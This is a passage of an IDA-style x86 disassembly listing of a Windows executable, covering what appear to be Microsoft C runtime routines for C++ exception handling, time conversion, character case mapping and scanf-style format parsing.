		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------

loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h

loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------

loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]

loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA

loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4CDA30
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4CDA34
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4CDA30, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4CDA34, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]

loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------

loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4CDA30, eax
		mov	eax, [ebp-20h]
		mov	dword_4CDA34, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552

loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2

loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4CDA3C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------

loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]

loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0

loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_435FF4
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------

loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]

loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0

loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4CF028
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------

loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]

loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_4CF024
		nop
		call	near ptr 288053Dh

loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_436724[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi

loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_436640
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_436644, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1

loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_436648

loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------

loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh

loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4CDA48, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------

loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_433E7C, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------

loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729

loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_433C70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------

loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------

loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_433E7C, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------

loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_433C70
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch

loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------

loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_433E7C, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------

loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
